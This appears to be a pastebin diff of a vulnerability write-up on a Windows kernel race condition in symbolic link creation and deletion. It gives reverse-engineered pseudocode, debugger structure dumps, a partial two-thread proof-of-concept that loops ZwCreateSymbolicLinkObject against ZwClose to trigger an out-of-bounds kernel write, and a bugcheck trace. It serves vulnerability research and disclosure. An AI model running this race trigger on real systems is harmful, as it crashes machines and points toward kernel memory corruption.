View difference between Paste ID: 67rYQQa6 and H7tQSX7C
SHOW: | | - or go back to the newest paste.
1-
@waleedassar
1+
2
3
A) Symbolic Link Object Creation
4
5
The function in question, "nt!ObpCreateSymbolicLinkName", is called by the "nt!ObInsertObjectEx" function , which is called by the "nt!ObCreateSymbolicLink" function, which is called by the "nt!NtCreateSymbolicLinkObject" syscall function, in a callstack that looks like below:
6
//---- Start: ObpCreateSymbolicLinkName callstack ----
7
04 nt!ObpCreateSymbolicLinkName
8
05 nt!ObInsertObjectEx+0x5a1
9
06 nt!ObCreateSymbolicLink+0x118
10
07 nt!NtCreateSymbolicLinkObject+0xe6
11
08 nt!KiSystemServiceCopyEnd+0x25
12
//---- End: ObpCreateSymbolicLinkName callstack ----
13
By looking at the code from ObInsertObjectEx below, we see that it first calls ObpCreateHandle to create a new user-mode handle for the new symbolic link object then it calls the "nt!ObpCreateSymbolicLinkName". 
14
//---- Start: Snippet from ObInsertObjectEx ----
15
int ret = ObpCreateHandle(0,pNewSymLinkObject,...);
16
if(ret >= 0)
17
{
18
	//at this point, we have a valid User-Mode handle for the new symbolic link object, that can easily be used in  calls to NtClose function from another thread.
19
	if(ObjectType == ObpSymbolicLinkObjectType)
20
	{
21
		if(ret == STATUS_OBJECT_NAME_EXISTS) ObpCreateSymbolicLinkName(pNewSymLinkObject);
22
	}
23
}
24
ObfDereferenceObject(pNewSymLinkObject);
25
//-------- End: Snippet from ObInsertObjectEx ------
26
N.B. Once ObpCreateHandle has returned with success, we have a valid user-mode handle for the new symbolic link object. This means that, by the time, ObpCreateSymbolicLinkName is being called, another thread in the calling process can guess and manipulate the fresh symbolic link object that is still being manipulated by ObpCreateSymbolicLinkName.
27
28
The "nt!ObpCreateSymbolicLinkName" function is called for the purpose of:
29
1) Updating the "DosDeviceDriveIndex" of the "_OBJECT_SYMBOLIC_LINK" structure.
30
2) Updating the "_DEVICE_MAP" structure pointed to by the System or process device map.
31
32
Now, let's see code from ObpCreateSymbolicLinkName.
33
//--- STart: ObpCreateSymbolicLinkName ----
34
void ObpCreateSymbolicLinkName
35
(_OBJECT_SYMBOLIC_LINK *SymbolicLink)
36
{
37
	_OBP_LOOKUP_CONTEXT LookupContext;
38
	...
39
	_OBJECT_HEADER* ObjHdr = SymbolicLink - 0x30;//r15
40
	uchar var_InfoMask = ObjHdr->InfoMask;
41
	ulong var_Counter40 = 0x40;
42
	_OBJECT_HEADER_NAME_INFO* NameInfo = 0;
43
	if(var_InfoMask & 0x2)		NameInfo = ObjHdr - nt!ObpInfoMaskToOffset[var_InfoMask & 0x3];
44
	if(!NameInfo) return;
45
	_OBJECT_DIRECTORY* NameInfoDirectory = NameInfo->Directory;
46
	if(NameInfoDirectory->DeviceMap == 0) return;
47
	if(NameInfo->Name.Length != 4) return;
48
	if(NameInfo->Name.Buffer[1] != L':') return;
49
	ushort DriveLetter = NLS_UPCASE(NameInfo->Name.Buffer[0]);
50
	ushort DriveLetterIndex = DriveLetter - 0x41;
51
	if(DriveLetterIndex > 0x19) return;
52
	...
53
	SymbolicLink->DosDeviceDriveIndex = DriveLetter - 0x40;
54
	...
55
	_ESILO* pSilo = PsGetCurrentSilo();
56
	_OBJECT_DIRECTORY* pSiloRootDir = OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO(pSilo);
57
	ObfReferenceObject(pSiloRootDir);
58
	_UNICODE_STRING uniLinkTarget;
59
	memcpy(&uniLinkTarget,&SymbolicLink->LinkTarget,0x10);
60
	...
61
	ExAcquirePushLockExclusiveEx(pServerSiloGlob->ObSiloState.DeviceMapLock,0);
62
	ulong var_DosDeviceDriveIndex = SymbolicLink->DosDeviceDriveIndex;
63
	//DosDeviceDriveIndex are 1-based, 1 for A letter, 2 for B letter
64
	var_DosDeviceDriveIndex--;
65
	pDeviceMap->DriveType[var_DosDeviceDriveIndex] = DriveType;//Bug here
66
	pDeviceMap->DriveMap |= (1<<var_DosDeviceDriveIndex);
67
	...
68
	return;
69
}
70
//--- ENd: ObpCreateSymbolicLinkName ----
71
the _DEVICE_MAP structure looks like below:
72
0: kd> dt nt!_device_map
73
   +0x000 DosDevicesDirectory : Ptr64 _OBJECT_DIRECTORY
74
   +0x008 GlobalDosDevicesDirectory : Ptr64 _OBJECT_DIRECTORY
75
   +0x010 DosDevicesDirectoryHandle : Ptr64 Void
76
   +0x018 ReferenceCount   : Int4B
77
   +0x01c DriveMap         : Uint4B
78
   +0x020 DriveType        : [32] UChar
79
   +0x040 ServerSilo       : Ptr64 _EJOB
80
The "DriveType" member is an array 32 CHARS each respresents the drive type (e.g.DRIVE_FIXED, DRIVE_FIXED, etc) for each drive letter (e.g. A:, B:, C:,.., Z:).  
81
82
the "OBJECT_SYMBOLIC_LINK" structure looks like below:
83
0: kd> dt nt!_OBJECT_SYMBOLIC_LINK
84
   +0x000 CreationTime     : _LARGE_INTEGER
85
   +0x008 LinkTarget       : _UNICODE_STRING
86
   +0x008 Callback         : Ptr64     long 
87
   +0x010 CallbackContext  : Ptr64 Void
88
   +0x018 DosDeviceDriveIndex : Uint4B
89
   +0x01c Flags            : Uint4B
90
   +0x020 AccessMask       : Uint4B
91
The "DosDeviceDriveIndex" member is 1-based value representing an index into the "DriveType" array within the "_DEVICE_MAP" structure.
92
93
B) Symbolic Link Object Destruction
94
The symbolic link objects are destroyed via calls to the "NtClose" syscall functions. NtClose then calls the "nt!ObCloseHandleTableEntry" function, which calls the "nt!ObpDeleteSymbolicLinkName" function in a call stack like below:
95
//------ Start: Callstack ------
96
00 nt!ObpDeleteSymbolicLinkName
97
01 nt!ObCloseHandleTableEntry+0x22a
98
02 nt!NtClose+0xde
99
//------ End: Callstack -------
100
The "nt!ObpDeleteSymbolicLinkName" function code looks something like below:
101
//------ Start: ObpDeleteSymbolicLinkName ------
102
void ObpDeleteSymbolicLinkName(_OBJECT_SYMBOLIC_LINK *SymbolicLink)
103
{
104
	ulong var_DosDeviceDriveIndex = SymbolicLink->DosDeviceDriveIndex;
105
	//DosDeviceDriveIndex field is 1 if the symbolic link is named "A:"
106
	//and is zero if it is not within "A:" and "Z:" 
107
	if(var_DosDeviceDriveIndex)
108
	{
109
		_OBJECT_HEADER* pObjHdr = SymbolicLink - 0x30;
110
		ulong Offset = 	ObpInfoMaskToOffset[pObjHdr->InfoMask & 3];
111
		_OBJECT_HEADER_NAME_INFO* pNameInfo = pObjHdr - Offset;
112
		//The directory, our symbolic link object lives in.
113
		_OBJECT_DIRECTORY* pParentDir = pNameInfo->Directory;
114
		//The device map associated with our process, in case this directory object is our process's device map directory.
115
		_DEVICE_MAP* pDeviceMap = pParentDir->DeviceMap;
116
		if(pDeviceMap)
117
		{
118
			_ESERVERSILO_GLOBALS* pServerSiloGlob = PsGetCurrentServerSiloGlobals();
119
			ExGetCurrentThread()->??--;
120
			ExAcquirePushLockExclusiveEx(&pServerSiloGlob->ObSiloState.DeviceMapLock,0);
121
			pDeviceMap->DriveMap &= ~(1 << (var_DosDeviceDriveIndex-1));
122
			
123
			pDeviceMap->DriveType[var_DosDeviceDriveIndex-1] = 0;
124
			if(pDeviceMap != pServerSiloGlob->ObSiloState.SystemDeviceMap)
125
			{
126
				pServerSiloGlob->ObSiloState.SystemDosDeviceState.LocalDeviceCount[var_DosDeviceDriveIndex-1]--;
127
			}
128
			else
129
			{
130
				pServerSiloGlob->ObSiloState.SystemDosDeviceState.GlobalDeviceMap &= (~(1 << (var_DosDeviceDriveIndex-1)));
131
			}
132
			ExReleasePushLockEx(&pServerSiloGlob->ObSiloState.DeviceMapLock,0);
133
			KiLeaveGuardedRegionUnsafe(ExGetCurrentThread());
134
		}
135
		SymbolicLink->DosDeviceDriveIndex = 0;//Bug here
136
	}
137
}
138
//------ END:  ObpDeleteSymbolicLinkName----
139
//////////////////////////
140
Comparing the code from both nt!ObpCreateSymbolicLinkName and nt!ObpDeleteSymbolicLinkName, we can see:
141
1) ObpDeleteSymbolicLinkName sets the "DosDeviceDriveIndex" member of the symbolic link object to zero.
142
SymbolicLink->DosDeviceDriveIndex = 0;
143
2) ObpCreateSymbolicLinkName extracts the "DosDeviceDriveIndex" member of the symbolic link object and decrements it by one.
144
var_DosDeviceDriveIndex--;
145
2) ObpCreateSymbolicLinkName uses the decremented value as an index into the "DriveType" array within the device map structure.
146
pDeviceMap->DriveType[var_DosDeviceDriveIndex] = DriveType;
147
148
So, to further demonstrate this bug we create two threads, the first keeps creating new symbolic link objects via NtCreateSymbolicLinkObject and the second one keeps closing the newly created symbolic link object handles via NtClose. By doing so, it is very likely ObpDeleteSymbolicLinkName will be called before ObpCreateSymbolicLinkName. Thus, ObpCreateSymbolicLinkName, will reference the "DriveType" array with an index of value 0xFFFFFFFF, causing writing an arbitrary value beyond the array boundaries.
149
//------- Start: POC --------
150
void ThreadX0()
151
{
152
	....
153
	while(1)
154
	{
155
		SymLinkName[0]= L'Z';
156
		ObjAttr_sl.RootDirectory = hSubDir;
157
		int retValue = ZwCreateSymbolicLinkObject(&hSymLink,SYMBOLIC_LINK_ALL_ACCESS,&ObjAttr_sl,&uniTarget);
158
		printf("ZwCreateSymbolicLinkObject, ret: %X, hSymLink: %I64X\r\n",retValue,hSymLink);
159
	}
160
}
161
void ThreadX1()
162
{
163
	...
164
	Sleep(3000);
165
	while(1)
166
	{
167
		ZwClose(hSymLink);
168
	}
169
}
170
//Full POC is attached
171
//------- END: POC --------
172
173
 # Child-SP          RetAddr           Call Site
174
00 ffff8b8d`3d38f0b8 fffff807`5744a1a9 nt!KeBugCheckEx
175
01 ffff8b8d`3d38f0c0 fffff807`5729f500 nt!MiSystemFault+0x18cdf9
176
02 ffff8b8d`3d38f1c0 fffff807`5740505e nt!MmAccessFault+0x400
177
03 ffff8b8d`3d38f360 fffff807`5770743e nt!KiPageFault+0x35e
178
04 ffff8b8d`3d38f4f0 fffff807`5767a351 nt!ObpCreateSymbolicLinkName+0x32a
179
05 ffff8b8d`3d38f5d0 fffff807`576fb444 nt!ObInsertObjectEx+0x5a1
180
06 ffff8b8d`3d38f860 fffff807`576fb106 nt!ObCreateSymbolicLink+0x118
181
07 ffff8b8d`3d38f8d0 fffff807`574088b5 nt!NtCreateSymbolicLinkObject+0xe6
182
183
0: kd> u nt!ObpCreateSymbolicLinkName+0x32a
184
nt!ObpCreateSymbolicLinkName+0x32a:
185
fffff807`5770743e 885c3920        mov     byte ptr [rcx+rdi+20h],bl
186
fffff807`57707442 09471c          or      dword ptr [rdi+1Ch],eax
187
188
PAGE_FAULT_IN_NONPAGED_AREA (50)
189
Invalid system memory was referenced.  This cannot be protected by try-except.
190
Typically the address is just plain bad or it is pointing at freed memory.
191
Arguments:
192
Arg1: ffffa310687728cf, memory referenced.
193
Arg2: 0000000000000002, value 0 = read operation, 1 = write operation.
194
Arg3: fffff8075770743e, If non-zero, the instruction address which referenced the bad memory address.
195
Arg4: 0000000000000002, (reserved)
196